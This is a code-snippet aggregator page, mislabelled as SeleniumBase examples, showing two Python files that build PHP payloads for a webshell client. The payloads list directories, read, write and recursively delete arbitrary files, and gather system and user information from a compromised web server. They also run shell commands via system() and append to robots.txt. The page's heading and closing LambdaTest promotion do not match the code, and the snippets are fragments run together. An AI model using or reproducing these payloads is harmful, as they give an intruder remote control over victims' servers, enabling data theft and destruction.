Best Python code snippet using SeleniumBase
php_data.py
Source:php_data.py
...4#è·åç½ç«è·¯å¾5php_www_path="""6<?php7@ini_set("display_errors","0"); //é误ä¸æ¾ç¤º8@set_time_limit(0); //设置ç¨åºæ§è¡æ¶é´9@set_magic_quotes_runtime(0); //ç¹æ®å符0-å
³é10echo("->|");11echo $_SERVER['DOCUMENT_ROOT']."/"; //è·åç¨åºæ ¹ç®å½12echo("|<-");13die();14?>15"""16#éåè·¯å¾ æ件夹17PHP_bl_path="""18<?php19@ini_set("display_errors","0");20@set_time_limit(0);21@set_magic_quotes_runtime(0);22echo("->|");23//$D=base64_decode($_POST["z1"]);24//$D="D:/wamp/www";25$D=$_SERVER['DOCUMENT_ROOT']; //è·åç¨åºæ ¹ç®å½26$F=@opendir($D); //æå¼ images ç®å½27if($F==NULL)28{29echo("ERROR: Path Not Found Or No Permission!");30}31else32{33while($N=@readdir($F))34{$P=$D."/".$N;35if(@is_dir($P))//ç®å½36{37if (!(($N==".")or($N==".."))) //åªè¦æ件夹38{39 echo($D."/".$N);40 echo("\t");41}42}43}44};45echo("|<-");46die();47?>48"""49#è·åç®å½æé50PHP_qx_path="""51<?php52@ini_set("display_errors","0");53@set_time_limit(0);54@set_magic_quotes_runtime(0);55echo("->|");56$filename=base64_decode($_POST["z1"]);57//$filename="D:/wamp/www/data/index.html";58////$filename=str_replace('\\','/',$filename);59//$file_hd2=@fopen($filename,'w'); //æå¼æ件ä¸åå¨åå建60////if(!$file_hd2){61//// @fclose($file_hd2);62//// echo("1");63////}else{64//// echo("0");65////}66//if(is_file($filename)){ //æ£æ¥æå®çæ件åæ¯å¦æ¯æ£å¸¸çæ件67// //æ件ä¸å¯åï¼ç´æ¥è¿å68// if(is_writable($filename)){ //å¤ææ件æ¯å¦åå¨69// echo("1");70// }71//}72//@unlink($filename); //å é¤æ件73echo @fopen($filename,"w")?"1":"0";74@unlink($filename); //å é¤æ件75echo("|<-");76die();77?>78"""79#å¤ææ件夹æ¯å¦åå¨ä¸åå¨åå建80php_mkdir_path="""81<?php82@ini_set("display_errors","0");83@set_time_limit(0);84@set_magic_quotes_runtime(0);85echo("->|");86$filename=base64_decode($_POST["z1"]);87//$filename="D:/wamp/www/data/111";88if(is_dir($filename))89 { //ç®å½åå¨90 echo("1");91 }92else93 { //ç®å½ä¸åå¨94 if(@mkdir($filename,0777,true)){95 echo("1");96 }97 else{98 echo("0");99 }100 }101//@fopen($filename,"w")?"1":"0";102echo("|<-");103die();104?>105"""106#读åæ件107php_open_file="""108<?php109@ini_set("display_errors","0"); //é误ä¸æ¾ç¤º110@set_time_limit(0); //设置ç¨åºæ§è¡æ¶é´111@set_magic_quotes_runtime(0); //ç¹æ®å符0-å
³é112echo("->|");113$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];114//$F=get_magic_quotes_gpc()?stripslashes("/home/azch4xbvjz/domains/cincon.cn/public_html/home/azch4xbvjz/domains/cincon.cn/public_html/special/index.php"):"/home/azch4xbvjz/domains/cincon.cn/public_html/home/azch4xbvjz/domains/cincon.cn/public_html/special/index.php";115//echo $f;116if (!$fp=@file_get_contents($F))117{118 echo("no");119}else{120 echo $fp;121}122echo("|<-");123die();124?>125"""126#åå
¥æ件127php_add_file="""128<?php129@ini_set("display_errors","0");130@set_time_limit(0);131@set_magic_quotes_runtime(0);132echo("->|");;133$filename=base64_decode($_POST["z3"]);134//$filename="D:/wamp/www/data/111";135if(!is_dir($filename))136 { //ç®å½ä¸åå¨137 @mkdir($filename,0777,true);138 }139echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0";;140@chmod(base64_decode($_POST["z1"]),0444);141echo("|<-");142die();143?>144"""145"""146@ini_set("display_errors","0"); //é误ä¸æ¾ç¤º147@set_time_limit(0); //设置ç¨åºæ§è¡æ¶é´148@set_magic_quotes_runtime(0); //ç¹æ®å符0-å
³é149echo("->|");150$f=base64_decode($_POST["z1"]); //è·¯å¾151//$f="D:/wamp/www/1.txt";152$c=$_POST["z2"]; //å
容153//$c="3C3F7068700D0A24463D22433A2F77616D702F7777772F2F696E6465782E706870223B0D0A6563686F2866696C655F657869737473282446293F63686D6F642824462C30363636293F2231223A2230223A223022293B0D0A64696528293B0D0A3F3E"; //å
容154//$c=str_replace("%","",$c); //æ¿æ¢155//$c=str_replace(",","",$c); //æ¿æ¢156$c=str_replace("\r","",$c); //æ¿æ¢157$c=str_replace("\n","",$c); //æ¿æ¢158//echo $c;159$buf=""; //æ¿æ¢160for($i=0;$i<strlen($c);$i+=2)161$buf.=urldecode("%".substr($c,$i,2));//è¿å URL ç¼ç å符串162@chmod($F,0777); //读åæé163echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");164echo("|<-");165die();166"""167#åå
¥å¾çæ件168php_add_file_tp="""169<?php170@ini_set("display_errors","0");171@set_time_limit(0);172@set_magic_quotes_runtime(0);173echo("->|");;174$f=base64_decode($_POST["z1"]);175$c=$_POST["z2"];176$c=str_replace("\r","",$c);177$c=str_replace("\n","",$c);178$buf="";179for($i=0;$i<strlen($c);$i+=2)180$buf.=urldecode("%".substr($c,$i,2));181echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;182echo("|<-");183die();184//&z1=RDpcXFdlYlNpdGVcXHNoZW56aGVuXFxhXFwxLmpwZw==185//D:\\WebSite\\shenzhen\\a\\1.jpg186//&z2=187?>188"""189#æ·»å èèå¼å¯¼é¡µ190robots_add="""191<?php192@ini_set("display_errors","0");193@set_time_limit(0);194@set_magic_quotes_runtime(0);195echo("->|");;196$path=base64_decode($_POST["z1"]);197$folderpath=$_SERVER['DOCUMENT_ROOT']."/robots.txt"; //è·åç¨åºæ ¹ç®å½198if(!file_exists($folderpath)){199$fp = fopen($folderpath, 'a+');200$str="User-agent: * ";201fputs($fp, $str);202fputs($fp,PHP_EOL);203fputs($fp,"Sitemap: /sitemap.xml");204fputs($fp,PHP_EOL);205fclose($fp);206}207$fp = fopen($folderpath, 'a+');...
phpCodeFun.py
Source:phpCodeFun.py
...5 :return: php->base64 code6 """7 code = """8 @ini_set("display_errors","0");9 @set_time_limit(0);10 @set_magic_quotes_runtime(0);11 header("Content-Type:application/json");12 $res = array();$res["path"] = dirname(__FILE__);13 echo ("<ek>");14 echo json_encode($res);15 echo ("</ek>");16 die();17 """18 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")19def getFilelistBase(path):20 """21 è·å该路å¾ä¸æææ件信æ¯22 :param path: æ件路å¾23 :return: PHP->base64 code24 """25 code = """26 header("Content-Type:application/json");27 @ini_set("display_errors","0");28 @set_time_limit(0);29 @set_magic_quotes_runtime(0);30 function getfile($path){31 $i=0;32 $res = array();33 if($handler = opendir($path)){34 while (($file = readdir($handler)) !==false){35 $f = array();36 $f["name"] = $file;37 $f['type'] = filetype($path ."/". $file);38 $f['time'] = date("Y-m-d H:i:s", filemtime($path ."/". $file));39 $f['size'] = filesize($path ."/". $file);40 $res[$i] = $f;41 $i++;42 }43 closedir($handler);44 }45 echo ("<ek>");46 echo json_encode($res);47 echo ("</ek>");48 }49 getfile("%s");die();50 """% path51 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")52def getFile(path):53 """54 æå®ä¸ä¸ªæ件çè·¯å¾ï¼æ¾å该æ件çä¿¡æ¯ã55 :param path: æ件路å¾56 :return: PHP-> base64 code57 """58 code = """59 @ini_set("display_errors","0");60 @set_time_limit(0);61 @set_magic_quotes_runtime(0);62 $path = '%s';63 $hanlder = fopen($path, 'rb');64 $res = fread($hanlder, filesize($path));65 fclose($hanlder);66 echo $res;67 """% path68 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")69def deleteFile(path):70 """71 å é¤æ件72 :param path:73 :return:74 """75 code = """76 @ini_set("display_errors","0");77 @set_time_limit(0);78 @set_magic_quotes_runtime(0);79 function df($p){80 $m=@dir($p);81 while(@$f=$m->read()){82 $pf=$p."/".$f;83 if((is_dir($pf))&&($f!=".")&&($f!="..")){84 @chmod($pf,0777);85 df($pf);86 }87 if(is_file($pf)){88 @chmod($pf,0777);89 @unlink($pf);90 }91 }92 $m->close();93 @chmod($p,0777);94 return @rmdir($p);95 }96 function delf($path){97 echo("<ek>");98 if(is_dir($path)){99 echo(df($path));100 }101 else{102 echo(file_exists($path)?@unlink($path)?"1":"0":"0");103 };104 echo("</ek>");105 die(); 106 }107 delf("%s");""" % path108 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")109def changeName(path, newnamepath):110 code="""111 @ini_set("display_errors","0");112 @set_time_limit(0);113 echo("<ek>");;114 echo(rename("%s","%s")?"1":"0");;115 echo("</ek>");116 die();""" % (path, newnamepath)117 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")118def uploadFile(path, content):119 code="""120 @ini_set("display_errors","0");121 @set_time_limit(0);122 echo("<ek>");123 function f($f,$c){124 $c=str_replace("\r","",$c);125 $c=str_replace("\n","",$c);126 $buf="";127 for($i=0;$i<strlen($c);$i+=2){128 $buf.=urldecode("%".substr($c,$i,2));129 }130 echo(fwrite(fopen($f,"w"),$buf)?"1":"0");;131 echo("</ek>");132 die();133 }134 """+"""f('%s','%s');""" % (path, content)135 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")136def createFile(path, content):137 code="""138 @ini_set("display_errors","0");139 @set_time_limit(0);140 function f($path, $content){141 echo("<ek>");;142 echo @fwrite(@fopen($path,"w"),$content)?"1":"0";;143 echo("</ek>");144 die();145 }146 f('%s', '%s');""" % (path, content)147 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")148def createDir(path):149 code="""150 @ini_set("display_errors","0");151 @set_time_limit(0);152 function c($path){153 echo("<ek>");;154 echo(mkdir($path)?"1":"0");;155 echo("</ek>");156 die();157 }158 c('%s');159 """%path160 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")161def execShellCreate():162 code="""163 @ini_set("display_errors","0");164 @set_time_limit(0);165 echo("<ek>");;166 $D=dirname($_SERVER["SCRIPT_FILENAME"]);167 if($D=="")168 $D=dirname($_SERVER["PATH_TRANSLATED"]);169 $R="{$D}\t";170 if(substr($D,0,1)!="/"){171 foreach(range("A","Z") as $L)172 if(is_dir("{$L}:"))$R.="{$L}:";173 }174 $R.="\t";175 $u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';176 $usr=($u)?$u['name']:@get_current_user();177 $R.=php_uname();178 $R.="({$usr})";179 print $R;;180 echo("</ek>");181 die();"""182 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")183def execShell(cmd, options):184 code = """185 @ini_set("display_errors","0");186 @set_time_limit(0);187 echo("->|");;188 $p=base64_decode('%s');189 $s=base64_decode('%s');190 $d=dirname($_SERVER["SCRIPT_FILENAME"]);191 $c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";192 @system($r." 2>&1",$ret);193 print ($ret!=0)?"ret={$ret}":"";;194 echo("|<-");die();195 """% (cmd, options)196 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")197if __name__ == '__main__':198 # print(deleteFile("C:/Users/elloit/Desktop/php/PHPTutorial/WWW/pass.txt"))...
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!